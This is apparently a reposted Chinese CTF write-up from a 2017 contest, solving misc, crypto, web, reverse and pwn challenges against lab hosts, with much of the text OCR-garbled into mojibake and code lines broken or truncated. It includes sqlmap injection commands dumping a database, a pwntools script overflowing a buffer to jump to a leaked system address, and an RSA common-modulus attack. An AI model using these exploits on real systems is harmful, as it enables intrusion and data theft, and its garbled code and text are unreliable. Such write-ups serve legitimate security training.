10.0.0.55Y1 3 Writeup

weixin_30824277 F 2017-12-24 09:55:00 K A5 635 e
EIRLE: python json

JRSCHERE:  hitps/www.cnblogs.conyL1B0/p/8097386.html

FRAL

From LB@10.0.0.55

Misc

0x01 misc100(B /2 5)

B Mbinwalkid T —TF, RIEEBR.
RIERAE T — Tipgi XX+ EFFD9, W T~E, &3 T pngtg = itr£IHDR.

AOTOR: B8 A3 FA 81 34 40 E2 00 58 59 04 81 FF D9 00 00 hhz . 4@ & . X 7. ¥y U
AQBOR: 00 OD 49 48 44 52 00 00 03 20 00 00 01 2C 08 06 . . I HD R .m0 . . .
ADGOR: 00 00 00 9A 76 82 7O 00 00 00 04 67 41 4D 41 0O Ev, p. ... 2 AMA
AQAOR: 00 Bl 8F OB FC 61 05 0D 00 00 20 63 48 52 4D 00 . =. g . cHEM
AOBOR: 00 TA 26 00 00 80 &84 00 OO0 FA OO0 00 OO0 BOEE 0D . z & . £, U, £e
ADCOR: 00 75 30 00 00 EA 60 00 00 34 98 00 Q0 17 70 9C . u 0. &7 .. 7 pE
pama. RA BT 30 N0 AN AN N9 TNo48 RO TR AN NN AR rd nn ° 0 < n H Y = A

TR FFDOCLRT &L 7 MIBR, #hEPNGIU4:3k8950 4e47 0dOa 1a0af3 2| — sk FiE ., & LEREAN, 2
THWE. HEITTRFE A 1, TREDEERMCRCALE K.

ST — 3 png#s AT PAKNIE,
CRC = 0x9A768270, width = 0x0320, height = 0x012C

BEE, MWAWT:

# -*- coding: utf-8 -*-
import binascii
import struct
#\x49\x48\x44\x52\x00\x00\x03\x20\x00\x00\x01\x2C\x08\x06\x00\x00\x00
crc32key = Ox9A768270
width = '\x00\x00\x03\x20'
for i in range(256, 65535):
height = struct.pack('>i', i)
#CRC: 9A768270
data = '\x49\x48\x44\x52' + width + height + '\x08\x06\x00\x00\x00"
crc32result = binascii.crc32(data) & oOxffffffff
if crc32result == crc32key:
print ''.join(map(lambda c: "%@2X" % ord(c), height))

BFE R N0x0258, &8 Fflag{python&C_master_can_be_my_girlfriend}.
0x02 misc200(pythonfi# k)

—F BB IR AIE R E R E800KEEE, —IF RGeS RGZpiE ., B2 jaHARtar, bl T 5 EF3)
fEE—IR, RIERAMRE.


https://blog.csdn.net/weixin_30824277
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=json&t=blog&o=vip&s=&l=&f=&viparticle=
http://www.cnblogs.com/L1B0/p/8097386.html

# -*- coding:utf-8 -*-
__Author__ = "LB@10.0.0.55"
import tarfile

dstPath = "'

tar = tarfile.open("800.tar","r")
now = tar.getnames()[0]
tar.extractall(dstPath)

while now != 'flag':
tar = tarfile.open(now,"r")
now = tar.getnames()[0]
tar.extractall(dstPath)

B 3flag{for i _in_{800..0};do_tar xzvf $i;done && cat flag}
Crypto
0x03 crypto100(bacon# %)

B 56E Bk BT 2 2)3% M 5 R hitp://keyfc.net/bbs/tools/tudoucode.aspx

S5ikiet

TwTjm/tmey ) = U D] 0= = =3 o= (P8 =)0 A - 8
(8= (0"_"0)/ (0_"0); CA)=0"8 0T (C0Ty==3) ¥ 18] et
D)loT e —(B)] AT (=) SO0 ) CAT) [T] =(C 0t y==3)

(™ol (AT [l = (CA)+ (=)+C-)-87) 1,0CA) Dol = (CA)+ 9
R FHIER 2ERISHES tm— BERL

ERETW |, BBRAEES

MEHE: BEFLEFHIRBEEXTEFURIMS B FEEFHUEERAIMELSEERBEERER
18 B T O S B 0 18 2 ARSI M R R I AR 8 ARRE R B O R EERME T BT HOR BB HAN44E
EFEAIHARSSITHESRIE T ESINT N EFRTFZIE - CEW ERE NI 2 5 E T LT
M2 BT B e RS S EEE Bl T EESHHRRE e R R NEEESHRR I AR
hEGBERTY RS FEMHESENNERINEE2SITHEH RN MENASERMRESFEPEE
SEFREHELF ERAESERTRIMBHMIPETETIE2 T - A RETR A EET HEER
BINEE S EE T (2 FIRAEHIER T BIRE R S50 E T du L R N S PR E S R R R B

Bl SRR B R AL LM & T S AL O TE AR ML R B iR b B RS M B 2 B R R B B SR R 00 R
TR R HE R L RE AR EENS HRE T EEREEE AETHR T ZRAREHE
ZRATIERTESHEEERGEN RS HRERES EHSEMG AL BB o mnm el
B R ENTERTINREE T ARRENENHESHE R ENSERAN A GIERIBE NS A
FEaRESANE ERE RN T TR I A B MR T B R ISR R E R EE R E
BREEBESTRERNENYEETERERUF M2z BT RERRAREELNEEREEXENEME
BfFaInil BEM EE SRR RE TR EW B RS0 E T HESS 2 2 M2 Az Hh
ExzZiiiiEs S AFESREIERER S ERamEmERERREREE



BE)sHCFE, W T LA AR I console# A K #F 4, & f5 FH #9360,

@ Y Uncaught ReferenceError: VMG629:2
flagFlagflagflagflagflagFlagFlagflagFlagFlagflagflagFlagFlagflagflagFlagf
lagflagFlagflagflagflagFlagflagflagFlagflagflagFlagflagflagFlagflagFlagfl
agflagFlagFlagflagFlagflagflagflagflagFlagFlagflagFlagflagflagFlagFlagfla
gflagflagflagFlagflagflagFlagFlagFlagflagflagflagflagFlagFlagflagFlagflag
flagflagflagFlagFlagflagFlagflagflagFlagFlagflag is not defined

Bair£flag B , KFlag¥ A1, flagik 0, RIMFRFEKENES, BSFIMGEE, EMAXEKIFRRNHIEZ
baconZi4 ¥ 1% ~a, 0F NbEE .

Bt ERIA

#!/usr/bin/python

# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import re

alphabet = ['a','b',"'c',"d","e","£','g","h',"1',"3", k', "1",'m','n", 0", 'p', 'q", 'r','s", "t ut, v, W, X
first_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa", "abaab", "ababa","ab
second_cipher = ["aaaaa","aaaab","aaaba","aaabb","aabaa","aabab","aabba","aabbb","abaaa", "abaaa","abaab","a

def encode():
string = raw_input("please input string to encode:\n")
e_stringl = ""
e_string2 = ""
for index in string:
for i in range(9,26):
if index == alphabet[i]:
e_stringl += first_cipher[i]
e_string2 += second_cipher[i]
break
print "first encode method result is:\n"+e_stringl
print "second encode method result is:\n"+e_string2
return

def decode():
e_string = raw_input("please input string to decode:\n")
e_array = re.findall(".{5}",e_string)

d_stringl =
d_string2 = ""
for index in e_array:

for i in range(0,26):

if index == first_cipher[i]:
d_stringl += alphabet[i]
if index == second_cipher[i]:

d_string2 += alphabet[i]
print "first decode method result is:\n"+d_stringl
print "second decode method result is:\n"+d_string2
return

if _name__ == '__main__"':
while True:
print "\t*******Bacon Encode_Decode System*******"

print "input should be lowercase,cipher just include a b"



print "1.encode\n2.decode\n3.exit"
s_number = raw_input("please input number to choose\n")
if s_number == "1":

encode()

raw_input()
elif s_number == "2":

decode()

raw_input()
elif s_number == "3":

break
else:

continue

18 Flflag{interestingcoding}
0x04 crypto200

XA lagZ i A R H g, I B JIEENFE KRBT S EVRR, bRER X, YRR,

#!/usr/bin/python

# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
import random

import string

RN R EEE
def rotl3(s):
return s.translate(string.maketrans(
string.uppercase[13:] + string.uppercase[:13] +
string.lowercase[13:] + string.lowercase[:13],
string.uppercase + string.lowercase))

"' 'base64Zwig " !
def base64(s):
return ''.join(s.decode('base64').split())

def hex(s):
return s.decode('hex")

CURBENG, NEHRE
def upsidedown(s):
return s.translate(string.maketrans(
string.lowercase + string.uppercase,
string.uppercase + string.lowercase))

flag = open('flagl.txt','r').read() # try to recover flag
E = (rotl3, base64, hex, upsidedown)
while flag[@:4] != 'FLAG':

print flag[eo]

flag = E[int(flag[@])](flag[1:])

print flag
#FLAG{KEEP CLAM AND DECODE!}



0x05 crypto300

XRIBAGICTFHH S —IERSA, abo/ERHFXAKE....

I 8 B o 2 ] SR B 2 ¢ = pow( flag , e, n)

BRI AR, EnREER, XRKXE. ABrsaffimlmiERIELE.
AT

#!/usr/bin/python

# -*- coding: utf-8 -*-

__Author__ = "LB@10.0.0.55"

from libnum import n2s

import sys

sys.setrecursionlimit(1000000)

e = [1619455979,

2218655053,

2835180841,

3071798573,

3875439793,

361506967,

1578333451,

2921677883,

3932969143,

364263283,

3513149351,

3517079837,

696665539,

3335742701,

3157525687,

1113728801,

3628966093,

2111846309,

3650543653,

2507103857,

2151201433,

2470127773,

4167499013,

2990751161,

734964331,

3662407867,

2133375229,

4283967859,

3533655011,

1930522169,

1808434097,

786604957]

c=
19871525333320514030930476288593461822971719630889002760314148098073177510734836092969166461131093750397887
32615591258153885532872120460212758736134886243634813235838462055254224230156978893837241333503438837560049
66331348462686153250296695781759893840540082106431060688642166094920963054454386160909285024693708709180659
16400416344600808966671819213703181735985027725576698232578764703734594836520397679863784231151246486383290
45947960368739558208097493897625666406633828759236085666167128694351187102101812420798311480694448160784477
12535609235787770666289037578924788966957891877214018851029425118477043700378748846759500220205971253794693
11394758519001305020485863996867169350648406733622283405043934441223498391811986816801084073455475372818503
80942726005728824895215139113781083664968065596375683537740325568270790305771030979949867969906789229629111
21474896428608103520941192264337232705972520234973234739924553466511097055412202907901263393221886115218732
24176749527752812890010100048665274927588927448742229382353924867624535245240311884370508680479036255827500



25771454196132453437718448318133067867803385171967833176851500229332442576873414617567078716337790093601259
15224961652367394463542857914053122632274819091136473065994723155444830279275916590546106996616148769592599
14188517501759630542350062764513157510778633943029464584153434639374497092854770614869259832477401727649720
84154887167663005564971781415759129131513858873266567263971478334826569906221816174499427438971791043203525
43055389645867477740739762219909717374008269061992587411227265348272388255749447180898051894820943724210765
30080509383677526968771450388698191504733106966058321459213577626715341286025170107901455294978301583999402
13831596779908231949029644595212924674556317918941835450884167722963825989023333092318643584487195786217416
23374074142210374238522688645947222825799632702720066923327022910669402730070197334602151847412474576142086
24671930852059292062717937535229689260768036144320752858258290076259106101797450186824919625562418524476239
23686321263589926890363339158619227028195140424171958810075758633893968366241008088630838978979967788245145
10897427893965109249289399267323338577998467031418471113931202726403740479546297833785301797249141958845499
19532867680309280956356410049167293285555124160017218272050483299148217931205021785651767276031837756343652
28092291208073447645228868822930546448287466743819014161161725000283970008442848945221639500674560827651563
11959761040098665582274857270424716037874955214009866692897966526435272081857996521820332062612786018875188
26557471605131665237372591573303958136076747800735567720886279054651726681417522887661755738234563636617123
25766770917996056594404418632849280736773894413595484704360521276438283270475741736076149439414925984007500
14157907824816465933631475558179090312957462178535856340494241183288902761251892284307797031335687270809831
10070640860012595861656057296944782764549272348868035765694402303453839973931603913151147760842439649750498
34981384963513076131815472417122245538702789105068221306406727134142930389099428734862694311891228943413212
18805209457384789535344332010108942293400913151152991480062161488978836048936647101412335606861119843669726
12804720993489753116564065654526543212922805149909766849755636604795839806565041141567917866799487480118321
23628772752693669481027261409499298024272169353541692647709703381176000232569604057130271158407155274572052

def gcd(a, b):
if a < b:
a, b =>b, a
while b != o:
temp = a % b
a=»>b
b = temp

return a

def egcd(a, b):
if a ==
return (b, 0, 1)
else:
g, ¥, x = egcd(b % a, a)
return (g, x - (b // a) *y, y)

def modinv(a, m):
g, X, y = egcd(a, m)
if g 1= 1:
raise Exception('modular inverse does not exist')
else:
return x % m

def modinv(a, m):
g, X, y = egcd(a, m)
if g 1= 1:
raise Exception('modular inverse does not exist')
else:
return x % m

#1X EeMcH 75 LUN32A B G A

el = e[1]
e2 = e[2]
s = egcd(el,e2)
sl = s[1]
s2 = s[2]

c1 = cl11



- ~L—a

c2 = c[2]

print(s)
n = 3035520297392687876894210348093015426683631119854481974886566034232858095550162257635078210589771913769
if s1 < @:
sl = -s1
cl = modinv(cl,n)
if s2 < @:
s2 = -s2

c2 = modinv(c2,n)
m = (pow(cl,sl,n)*pow(c2,s2,n)) % n
print(n2s(m))
print(pow(m,el,n) == cl)
print(pow(m,e2,n) == c2)
#flag{RSA_is_a_popular_algorithm}

BIGRERZEHREMAFE—A, 73— RFalse.
M EE T —ANWEEARE, Bt _E®Mbkhttp:/bobao.360.cn/learning/detail/3058.html

Web
0x06 Sql50
B B sqimapiE N, MK LEERFE, HZ.

payloadiin

py -2 sqlmap.py -u 10.4.21.55:10010?id=1

py -2 sqlmap.py -u 10.4.21.55:10010?id=1 --dbs

py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian --tables

py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian --tables =T Marinata --columns
py -2 sqlmap.py -u 10.4.21.55:10010?id=1 -D cunliyougeguniangtajiaochutian --tables =T Marinata --columns -
flag{Power_of_Ldy}

Re

0x07 re100

BRI, SN EEREEBIHEEE. . . KELRTREEASKBUR.
B F: flag + 9 = ((key&OXAA) >> 1) | (2 * (key&0X55) )

AT

#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [Ox8F,0xAA,0x85,0xA0,0x48,0xAC,0x40,0x95,0xB6,0x16,0xBE,0x40,0xB4,0x16,0x97,0xB1,0xBE,0xBC,0x16,0xB1,
flag = "'
for i in range(len(a)):
flag += chr( (((a[i]&@xAA)>>1) | (2*(a[i]&@x55))) - 9 )
print(flag)
#FLAG{Swap two bits is easy Oxaa with ©x55}



0x08 re200
Wrii AREFS? ! Z a4 &niE ] LAME B IRhetf—FE1E B .
j?%&“: ﬂ§§§F5

KR H R checkIt Hpt R EARED, WTHE

call rax
pop rax
add rsp, 5
rep stos dword ptr es:[edi]
bitss: ; CODE XREF: check:loc_4@886C67Tj
mov rax, @
mov eax, @
locret_4886DE: ; CODE XREF: check+?ETj
leave
retn

check  endp ; sp-analysis failed

FELEKIR—1T JFED, AT .

1jvoid check()

2K

3| char s1[56]; 7/

4 dnt wi; F7

5 dnt i; /A7

6

7 = strlen{input);

8 Ffor ( = 8; < HEE S S |
9 [i] = =({_BYTE =)encrypted + i) " 2 = i;
18| strncmp{s1, input, );

11 JUMPOUT(locret_4BB6DF);
121}

FHiEZ: gdbE R Fstrcmp

BT &EH ML ERE, FrCAnT AfEstrempst T i, ik H0x4006B6, Bfcheck+112.
WIErUn, WARBKKFR & EW UEEE Fiflag.

HiE=: gdb**iﬁ**iﬁﬂﬁo
ATRIMANFZRFERETRE, 2, 4, 6FENMMEREILE, MNinEEAS2flag.
AR



#!/usr/bin/python
# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"
a = [0x66,0x6E,0x65,0x61,0x73,0x42,0x6D,0x78,0x75,0x4D,0x61,0x49,0%x6C,0x68,0x75,0Xx7B,0x44,0x7D,0x63,0X62,
flag = "'
for i in range(len(a)):
flag += chr( a[i]~(2*i) )
print(flag)
#flag{Have_u_tried_GDB?}

0x09 re300(jsn % EIF)

B 5B M Hikhttp://matthewfl.com/unPacker.htmltg Xfk . 53]

console.log((function()

{
if(typeof(require)=="undefined"')return'( " -w-")"';
var code=require('process').argv[2];
if(!code)return' (" -w-")";
String.prototype.zpad=function(l)

{

return this.length<1?'@'+this.zpad(1l-1):this

s
function encrypt(data)
{
return'"'+(Array.prototype.slice.call(data).map((e)=>e.charCodeAt(0)).map((e)=>(e*0xbl+0x1b)8&Oxff
}

var crypted="balabalabalayidachuan";
if(JSON.parse(encrypt(code))!=crypted)return' (" -w-")";

try
{
eval(code)
}
catch(e)
{
return' (" cw- ")’
}
return' (*7V " )~"
}
)0)

KEMRILAEIX: (e)=>(e*0xb1+0x1b)&0xff)
2 iflagf it ik, REBR\AARIMESL. EEEZEREEZRNAER, BB,
fiA a0



#!/usr/bin/python
# -*- coding: utf-8 -*-

__Author__ = "LB@10.0.0.55"
a = [oxff,oxff,oxff,0x48,0x39,0x06,0x68,0xe6,0xff,0xff,0xff,0x48,0%x26,0xca,0Oxca,Oxca,0x35,0xd6,0xd6,0xff,
flag = []

for i in range(256):
for j in range(256):
if (( j*oxbl + Ox1b )&Oxff) == i:
flag.append(j)
break
flagl = "'
for i in a:
flagl += chr( flag[i] )
print(len(a),len(flagl))
print(flagl)

ER

$$$=~[1;988={__:++$$$,3885: (1 [1+"") [$$$], _$:++$$$,8_$_: (1 [1+"")[$9$], _$_:++$$$,$_$5: ({3+"")[$9$],$$_$: (%%

B X Rjs, T R&360%% 2% E¥jconsole Bl — %, 8 FIFLAG{JS Encoder Sucks}
Pwn
0x10 pwn100

S — AT T — A pwn, XL ZE A —>payload R # i [B] i) bt 5% 78 25 Bretbr & B 71T 80, TER 64
BLH o

fiAan

#!/usr/bin/python

# -*- coding: utf-8 -*-
__Author__ = "LB@10.0.0.55"

from pwn import *

io = remote('10.4.21.55',9001)
io.recvuntil("ex")

sys_addr = int(io.recv()[:12],16)
payload = 'f' * 56

payload += p64(sys_addr)

io.sendline(payload)
io.interactive()

0x11 pwn200(F 53 R, iER—T)
B 56 AIDIEF — T (1 7] AZELinux3F 18 F AT file+ X #442),



File name: Jesktop\{5 27\ Lk #¥\2017.12.16 IslabilllH 5\ Pwn\pwn200\pwn200. pyc

Scan  Scripts | Plugins | Log
Type: | Binary Size: 1940 Entropy FLC

format DBase Database (.DBF)

Optio
format Python Compiled Module(2.7) Options

About

LO0Hs) = Signatures 115 ms .
Exit

A pycICF, M _ETELR R 4% EEAS i T A

#!/usr/bin/env python

# encoding: utf-8

# il http://tool.lu/pyc/ BEELER
__Auther__ = "M4x'

from string import printable

from random import choice

from os import system

from sys import stdin, stdout, stderr
from termios import tcflush, TCIFLUSH
from time import sleep

dic = list(printable)

def Flush():
stdout.write('stdoutl")
stderr.write('stderrl")
stderr.write('stderrl")

def Help():
print "\n\n'
print 'M4x will give you 6 random printable chars'
print 'And you are supposed to match all the chars'
print 'If you match all the chars successfully, flag will goes to you'
print 'Good luck!"
print *\n\n‘'

def Play():
tcflush(stdin, TCIFLUSH)
submit = raw_input('Give me your 6 chars: ')
if len(submit) != 6:
print 'Error length'’
return None
lotto = [
None] * 6
for i in xrange(6):
lotto[i] = choice(dic)

match = @
for i in xrange(6):
for j in xrange(6):
if lotto[i] == submit[j]:
match += 1



continue

if match == 6:

system('cat flag')
else:

print 'Have a nice day'

if __name__ == '__main__":
while True:
print '[*]Select menu’
print '[*]1. Play Game'
print '[*]2. Seek Help'
print '[*]3. Exit'
menu = input('Your choice: ')
if menu == 1:
Play()
continue
if menu == 2:
Help()
continue
if menu == 3:
print 'See you!'
break
continue
print 'Invald menu'

pwni R H 2428 R BRI TR, REIEX

for i in xrange(6):
for j in xrange(6):
#lottoRBENA R MK E NG FRFEH, submitRIBATEAK
if lotto[i] == submit[j]:
match += 1
continue

Al LR B B G IR E R lottoI — AN u R Msubmitf fi B m R LB —i8, LR iEmatchsiin—, A EAEAR
submit R T B N6 TR EHFE KR, BT REA W & i%Epayload.

A an

#!/usr/bin/python

# -*- coding: utf-8 -*-

__Author__ = "LB@10.0.0.55"

from pwn import *

io = remote('10.4.21.55',9002)

payload = 'a'*6

while(1):
io.recvuntil('choice: ')
io.sendline('1")
io.recvuntil("chars: ")
io.sendline(payload)
str = io.recvline()
print str

io.interactive()
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